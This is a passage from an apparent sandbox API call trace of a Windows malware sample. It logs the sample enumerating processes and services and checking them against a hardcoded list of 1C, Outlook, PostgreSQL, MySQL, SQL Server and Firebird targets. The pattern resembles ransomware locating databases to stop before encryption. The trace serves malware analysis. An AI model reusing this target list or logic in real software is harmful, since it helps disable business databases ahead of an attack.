(lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0167.205] lstrlenW (lpString="WdiServiceHost") returned 14 [0167.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0167.206] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0167.206] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0167.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0167.206] lstrlenW (lpString="WdiSystemHost") returned 13 [0167.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0167.206] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0167.206] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0167.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0167.206] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0167.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0167.206] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0167.206] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0167.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0167.206] lstrlenW (lpString="Winmgmt") returned 7 [0167.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0167.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0167.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0167.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0167.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0167.206] lstrlenW (lpString="WPDBusEnum") returned 10 [0167.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0167.206] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0167.206] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0167.207] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0167.207] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x4285088 | out: hHeap=0x880000) returned 1 [0167.207] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3d0 [0167.210] Process32FirstW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.210] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.211] lstrlenW (lpString="System") returned 6 [0167.211] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0167.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0167.211] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0167.211] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0167.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0167.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0167.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0167.211] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.211] lstrlenW (lpString="smss.exe") returned 8 [0167.211] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0167.211] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0167.211] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0167.211] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0167.211] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0167.211] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0167.211] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0167.211] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.212] lstrlenW (lpString="csrss.exe") returned 9 [0167.212] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.212] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.212] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.212] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0167.212] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.212] lstrlenW (lpString="wininit.exe") returned 11 [0167.213] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0167.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0167.213] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0167.213] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0167.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0167.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0167.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0167.213] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.213] lstrlenW (lpString="csrss.exe") returned 9 [0167.213] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0167.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0167.213] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0167.213] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0167.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0167.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0167.214] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.214] lstrlenW (lpString="winlogon.exe") returned 12 [0167.214] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.214] lstrlenW (lpString="services.exe") returned 12 [0167.214] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.215] lstrlenW (lpString="lsass.exe") returned 9 [0167.215] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0167.215] lstrlenW (lpString="lsm.exe") returned 7 [0167.215] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.216] lstrlenW (lpString="svchost.exe") returned 11 [0167.216] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.216] lstrlenW (lpString="svchost.exe") returned 11 [0167.216] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.217] lstrlenW (lpString="svchost.exe") returned 11 [0167.217] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.217] lstrlenW (lpString="svchost.exe") returned 11 [0167.217] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.218] lstrlenW (lpString="svchost.exe") returned 11 [0167.218] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.218] lstrlenW (lpString="audiodg.exe") returned 11 [0167.218] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.218] lstrlenW (lpString="svchost.exe") returned 11 [0167.219] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.219] lstrlenW (lpString="explorer.exe") returned 12 [0167.219] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.219] lstrlenW (lpString="dwm.exe") returned 7 [0167.219] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.220] lstrlenW (lpString="svchost.exe") returned 11 [0167.220] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0167.220] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0167.220] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0167.221] lstrlenW (lpString="spoolsv.exe") returned 11 [0167.221] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0167.221] lstrlenW (lpString="reader_sl.exe") returned 13 [0167.221] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.221] lstrlenW (lpString="svchost.exe") returned 11 [0167.221] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.222] lstrlenW (lpString="taskhost.exe") returned 12 [0167.222] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.222] lstrlenW (lpString="dllhost.exe") returned 11 [0167.222] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0167.223] lstrlenW (lpString="taskhost.exe") returned 12 [0167.223] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.223] lstrlenW (lpString="dllhost.exe") returned 11 [0167.223] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0167.224] lstrlenW (lpString="dllhost.exe") returned 11 [0167.224] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0167.224] CloseHandle (hObject=0x3d0) returned 1 [0167.224] Sleep (dwMilliseconds=0x1f4) [0167.783] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3aac0e8 [0167.784] EnumServicesStatusExW (in: hSCManager=0x3aac0e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0167.784] GetLastError () returned 0xea [0167.784] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x428e0b8 [0167.784] EnumServicesStatusExW (in: hSCManager=0x3aac0e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428e0b8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428e0b8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0167.785] CloseServiceHandle (hSCObject=0x3aac0e8) returned 1 [0167.785] lstrlenW (lpString="Appinfo") returned 7 [0167.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0167.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0167.785] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0167.785] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0167.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0167.785] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0167.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.785] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0167.785] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0167.785] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0167.785] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0167.786] lstrlenW (lpString="AudioSrv") returned 8 [0167.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0167.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0167.786] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0167.786] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0167.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0167.786] lstrlenW (lpString="BFE") returned 3 [0167.786] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0167.786] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0167.786] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0167.786] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0167.786] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0167.786] lstrlenW (lpString="CryptSvc") returned 8 [0167.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0167.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0167.787] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0167.787] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0167.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0167.787] lstrlenW (lpString="CscService") returned 10 [0167.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0167.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0167.787] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0167.787] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0167.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0167.787] lstrlenW (lpString="DcomLaunch") returned 10 [0167.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0167.787] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0167.787] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0167.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0167.787] lstrlenW (lpString="Dhcp") returned 4 [0167.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0167.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0167.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0167.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0167.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0167.787] lstrlenW (lpString="Dnscache") returned 8 [0167.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0167.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0167.787] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0167.787] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0167.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0167.787] lstrlenW (lpString="DPS") returned 3 [0167.787] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0167.787] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0167.787] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0167.787] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0167.787] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0167.788] lstrlenW (lpString="eventlog") returned 8 [0167.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0167.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0167.788] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0167.788] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0167.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0167.788] lstrlenW (lpString="EventSystem") returned 11 [0167.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0167.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0167.788] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0167.788] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0167.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0167.788] lstrlenW (lpString="gpsvc") returned 5 [0167.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0167.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0167.788] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0167.788] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0167.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0167.788] lstrlenW (lpString="iphlpsvc") returned 8 [0167.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0167.788] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0167.788] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0167.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0167.788] lstrlenW (lpString="LanmanServer") returned 12 [0167.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0167.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0167.788] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0167.788] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0167.788] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0167.788] lstrlenW (lpString="LanmanWorkstation") returned 17 [0167.788] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.788] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0167.788] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0167.788] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0167.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0167.789] lstrlenW (lpString="lmhosts") returned 7 [0167.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0167.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0167.789] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0167.789] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0167.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0167.789] lstrlenW (lpString="MMCSS") returned 5 [0167.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0167.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0167.789] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0167.789] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0167.789] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0167.789] lstrlenW (lpString="MpsSvc") returned 6 [0167.789] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0167.789] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0167.789] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0167.789] lstrcmpiW 